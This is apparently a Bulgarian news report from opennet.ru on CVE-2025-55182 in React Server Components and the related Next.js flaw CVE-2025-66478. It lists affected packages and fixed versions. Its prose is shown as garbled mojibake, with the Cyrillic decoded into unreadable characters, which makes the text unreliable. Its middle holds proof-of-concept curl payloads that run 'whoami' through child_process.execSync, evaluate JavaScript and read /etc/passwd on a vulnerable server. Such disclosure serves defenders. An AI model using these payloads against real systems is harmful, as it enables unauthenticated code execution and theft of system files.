Π ΡΡΡΠ²ΡΡΠ½ΠΈΡΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈ Π½Π° React web framework (RSC) Π΅ ΠΎΡΡΡΡΠ°Π½Π΅Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ (CVE-2025-55182), ΠΊΠΎΡΡΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»Π΅Π½ ΠΊΠΎΠ΄ Π½Π° ΡΡΡΠ²ΡΡΠ° ΡΡΠ΅Π· ΠΈΠ·ΠΏΡΠ°ΡΠ°Π½Π΅ Π½Π° Π·Π°ΡΠ²ΠΊΠ° ΠΊΡΠΌ ΡΡΡΠ²ΡΡΠ΅Π½ ΠΌΠ°Π½ΠΈΠΏΡΠ»Π°ΡΠΎΡ. Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π΅ ΠΎΡΠ΅Π½Π΅Π½Π° ΠΊΠ°ΡΠΎ ΠΊΡΠΈΡΠΈΡΠ½Π° (10 ΠΎΡ 10). Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π·Π°ΡΡΠ³Π° Π΅ΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠ°Π»Π½ΠΈΡΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈ react-server-dom-webpack, react-server-dom-parcel ΠΈ react-server-dom-turbopack, ΠΊΠΎΠΈΡΠΎ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ Π·Π° ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΡΡΠ½ΠΊΡΠΈΠΈ ΠΈ Π³Π΅Π½Π΅ΡΠΈΡΠ°Π½Π΅ Π½Π° ΠΈΠ½ΡΠ΅ΡΡΠ΅ΠΉΡΠ½ΠΈ Π΅Π»Π΅ΠΌΠ΅Π½ΡΠΈ Π½Π° ΡΡΡΠ²ΡΡΠ°, Π° Π½Π΅ Π½Π° ΠΊΠ»ΠΈΠ΅Π½ΡΠ°.
ΠΡΠΎΠ±Π»Π΅ΠΌΡΡ Π΅ ΠΏΡΠΈΡΠΈΠ½Π΅Π½ ΠΎΡ ΠΎΠΏΠ°ΡΠ½Π° Π΄Π΅ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΡ Π½Π° Π΄Π°Π½Π½ΠΈ, ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈ Π² HTTP Π·Π°ΡΠ²ΠΊΠΈ ΠΊΡΠΌ ΡΡΡΠ²ΡΡΠ½ΠΈ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΡΠΈ. ΠΠ±ΡΠ°Π±ΠΎΡΡΠΈΡΠΈΡΠ΅ "vm#runInThisContext", "vm#runInNewContext", "child_process#execFileSync" ΠΈ "child_process#execSync" ΠΌΠΎΠ³Π°Ρ Π΄Π° ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ Π·Π° ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΡΠΈΡΡΠ΅ΠΌΠ½ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΈΠ»ΠΈ JavaScript ΠΊΠΎΠ΄ Π² ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ° Π½Π° ΡΠ΅ΠΊΡΡΠΈΡ ΠΏΡΠΎΡΠ΅Ρ (Π·Π°ΠΎΠ±ΠΈΠΊΠ°Π»ΡΠΉΠΊΠΈ ΠΈΠ·ΠΎΠ»Π°ΡΠΈΡΡΠ° Π½Π° sandbox). ΠΡΠ·ΠΌΠΎΠΆΠ½ΠΎ Π΅ ΡΡΡΠΎ ΡΠ°ΠΊΠ° Π΄Π° ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΡΠΈΡΠ΅ "fs#readFileSync" ΠΈ "fs#writeFileSync" Π·Π° ΡΠ΅ΡΠ΅Π½Π΅ ΠΈ Π·Π°ΠΏΠΈΡ Π½Π° ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»Π½ΠΈ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ Π½Π° ΡΡΡΠ²ΡΡ, Π΄ΠΎΠΊΠΎΠ»ΠΊΠΎΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π°Ρ Π½Π°ΡΡΠΎΡΡΠΈΡΠ΅ ΠΏΡΠ°Π²Π° Π·Π° Π΄ΠΎΡΡΡΠΏ. ΠΡΠ°ΠΊΠ°ΡΠ° Π½Π΅ ΠΈΠ·ΠΈΡΠΊΠ²Π° ΡΠ΄ΠΎΡΡΠΎΠ²Π΅ΡΡΠ²Π°Π½Π΅. ΠΠ°Π»ΠΈΡΠ΅Π½ Π΅ ΠΏΡΠΎΡΠΎΡΠΈΠΏ Π½Π° Π΅ΠΊΡΠΏΠ»ΠΎΠΉΡ. # ΠΠ·ΠΏΡΠ»Π½Π΅ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° whoami curl -X POST http://localhost:3002/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}' # ΠΠ·ΠΏΡΠ»Π½Π΅ΡΠ΅ JavaScript ΠΊΠΎΠ΄ 1+1 curl -X POST http://localhost:3002/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}' # ΠΡΠΎΡΠ΅ΡΠ΅ΡΠ΅ ΡΠ°ΠΉΠ»Π° /etc/passwd curl -X POST http://localhost:3002/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8β³]}'
Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π½Π° ΡΠΈΡΡΠ΅ΠΌΠ°ΡΠ° Π·Π°Π²ΠΈΡΠΈ ΠΎΡ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ΡΠΎ Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΈ ΡΡΡΠ²ΡΡΠ½ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈ react-server-dom-webpack, react-server-dom-parcel ΠΈ react-server-dom-turbopack. ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡΡΠ°, ΠΊΠΎΠΈΡΠΎ Π½Π΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ react-server, Π½Π΅ ΡΠ° Π·Π°ΡΠ΅Π³Π½Π°ΡΠΈ. Π‘ΡΠ΅ΠΏΠ΅Π½ΡΠ°, Π΄ΠΎ ΠΊΠΎΡΡΠΎ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π·Π°ΡΡΠ³Π° ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΡΡΠ²Π΅Π½ΠΈΡΠ΅ ΡΠΈΡΡΠ΅ΠΌΠΈ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΡΠΈ React, Π½Π΅ Π΅ ΡΡΠ½Π°. React Π΅ Π΅Π΄Π½Π° ΠΎΡ Π½Π°ΠΉ-ΠΏΠΎΠΏΡΠ»ΡΡΠ½ΠΈΡΠ΅ ΡΠ΅Π± ΡΠ°ΠΌΠΊΠΈ (ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π° ΠΎΡ ΠΏΡΠΈΠ±Π»ΠΈΠ·ΠΈΡΠ΅Π»Π½ΠΎ 6% ΠΎΡ ΡΠ΅Π±ΡΠ°ΠΉΡΠΎΠ²Π΅ΡΠ΅), Π° ΡΡΠ·Π²ΠΈΠΌΠΈΡΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈ ΡΠ΅ ΠΏΠΎΠ΄Π΄ΡΡΠΆΠ°Ρ Π² ΠΎΡΠ½ΠΎΠ²Π½ΠΎΡΠΎ Ρ ΡΠ°Π½ΠΈΠ»ΠΈΡΠ΅ ΠΈ ΡΠ° Π²ΠΊΠ»ΡΡΠ΅Π½ΠΈ Π² ΠΈΠ·Π΄Π°Π½ΠΈΡΡΠ°. Π£ΡΠ·Π²ΠΈΠΌΠΈΡΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈ ΡΠ΅ ΠΏΠΎΠ΄Π΄ΡΡΠΆΠ°Ρ ΠΈ Π² Π±Π°Π·ΠΈΡΠ°Π½ΠΈ Π½Π° React ΡΠ°ΠΌΠΊΠΈ, ΠΊΠ°ΡΠΎ Next.js ΠΈ react-router. Π‘ΠΏΠΎΡΠ΅Π΄ Wiz Research, ΡΡΠ·Π²ΠΈΠΌΠΈ ΡΠ»ΡΡΠ°ΠΈ ΡΠ° ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΡΠΈΡΠ°Π½ΠΈ Π² 39% ΠΎΡ Π°Π½Π°Π»ΠΈΠ·ΠΈΡΠ°Π½ΠΈΡΠ΅ ΠΎΠ±Π»Π°ΡΠ½ΠΈ ΡΡΠ΅Π΄ΠΈ.
ΠΡ Π΄ΡΡΠ³Π° ΡΡΡΠ°Π½Π°, Π³Π΅Π½Π΅ΡΠΈΡΠ°Π½Π΅ΡΠΎ Π½Π° ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ ΡΡΡΠ²ΡΡ ΡΡΠ΅Π· React Server ΠΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈΡΠ΅ Π½Π΅ ΡΠ° ΡΠ΅ΡΡΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π° ΡΡΠ½ΠΊΡΠΈΡ (ΠΏΠΎΠ²Π΅ΡΠ΅ΡΠΎ ΡΠ΅Π±ΡΠ°ΠΉΡΠΎΠ²Π΅, ΡΠ°Π±ΠΎΡΠ΅ΡΠΈ Ρ React, ΡΠ΅Π½Π΄ΠΈΡΠ°Ρ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΠΊΠΈΡ ΠΈΠ½ΡΠ΅ΡΡΠ΅ΠΉΡ ΡΠ°ΠΌΠΎ ΠΎΡ ΡΡΡΠ°Π½Π° Π½Π° ΠΊΠ»ΠΈΠ΅Π½ΡΠ°), Π° ΡΡΠ·Π²ΠΈΠΌΠΈΡΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈ ΡΠ° ΠΌΠ°ΡΠΊΠΈΡΠ°Π½ΠΈ ΠΊΠ°ΡΠΎ Π΅ΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠ°Π»Π½ΠΈ ΠΈ Π½Π΅ Π΅ Π³Π°ΡΠ°Π½ΡΠΈΡΠ°Π½ΠΎ, ΡΠ΅ ΡΠ΅ ΡΠ°Π±ΠΎΡΡΡ ΠΏΡΠ°Π²ΠΈΠ»Π½ΠΎ. Π’Π΅Π·ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈ ΠΈΠΌΠ°Ρ ΠΎΡΠ½ΠΎΡΠΈΡΠ΅Π»Π½ΠΎ ΠΌΠ°Π»ΡΠΊ Π±ΡΠΎΠΉ Π΄ΠΈΡΠ΅ΠΊΡΠ½ΠΈ ΠΈΠ·ΡΠ΅Π³Π»ΡΠ½ΠΈΡ ΠΎΡ Ρ ΡΠ°Π½ΠΈΠ»ΠΈΡΠ΅ΡΠΎ Π½Π° NPM: react-server-dom-webpack - 670 000 Π½Π° ΡΠ΅Π΄ΠΌΠΈΡΠ°, react-server-dom-parcel - 7 000 ΠΈ react-server-dom-turbopack - 32 000. ΠΠ° ΡΡΠ°Π²Π½Π΅Π½ΠΈΠ΅, ΠΏΠ°ΠΊΠ΅ΡΡΡ React NPM ΠΈΠΌΠ° 45 ΠΌΠΈΠ»ΠΈΠΎΠ½Π° ΠΈΠ·ΡΠ΅Π³Π»ΡΠ½ΠΈΡ Π½Π° ΡΠ΅Π΄ΠΌΠΈΡΠ°.
Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π΅ Π½Π°Π»ΠΈΡΠ½Π° Π²ΡΠ² Π²Π΅ΡΡΠΈΠΈ 9.0.0, 19.1.0, 19.1.1 ΠΈ 19.2.0 Π½Π° React ΠΈ Π΅ Π±ΠΈΠ»Π° ΠΏΠΎΠΏΡΠ°Π²Π΅Π½Π° Π² 19.0.1, 19.1.2 ΠΈ 19.2.1. Π£ΡΠ·Π²ΠΈΠΌΠΈΡΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ ΠΈ Π² ΠΏΠ°ΠΊΠ΅ΡΠΈΡΠ΅ Next.js (16 ΠΌΠΈΠ»ΠΈΠΎΠ½Π° ΠΈΠ·ΡΠ΅Π³Π»ΡΠ½ΠΈΡ ΡΠ΅Π΄ΠΌΠΈΡΠ½ΠΎ), react-router (20 ΠΌΠΈΠ»ΠΈΠΎΠ½Π° ΠΈΠ·ΡΠ΅Π³Π»ΡΠ½ΠΈΡ ΡΠ΅Π΄ΠΌΠΈΡΠ½ΠΎ), waku, @parcel/rsc, @vitejs/plugin-rsc ΠΈ rwsdk.
Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ (CVE-2025-66478) Π² ΡΠ°ΠΌΠΊΠ°ΡΠ° Next.js Π·Π°ΡΡΠ³Π° ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΡΠΈ App Router ΠΈ Next.js 15.x ΠΈ 16.x. Π’Π²ΡΡΠ΄ΠΈ ΡΠ΅, ΡΠ΅ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π·Π°ΡΡΠ³Π° ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΡΠ° ΠΏΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅ Π½Π° Next.js (ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΏΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅, ΡΡΠ·Π΄Π°Π΄Π΅Π½ΠΎ ΠΎΡ ΠΏΠΎΠΌΠΎΡΠ½Π°ΡΠ° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ° create-next-app, Π΅ ΡΡΠ·Π²ΠΈΠΌΠΎ). ΠΠ° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈΡΠ΅ ΡΠ΅ ΠΏΡΠ΅ΠΏΠΎΡΡΡΠ²Π° Π΄Π° ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Ρ Π°ΠΊΡΡΠ°Π»ΠΈΠ·Π°ΡΠΈΡΡΠ° Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 ΠΈΠ»ΠΈ 16.0.7 Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉ-ΡΠΊΠΎΡΠΎ.
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: opennet.ru
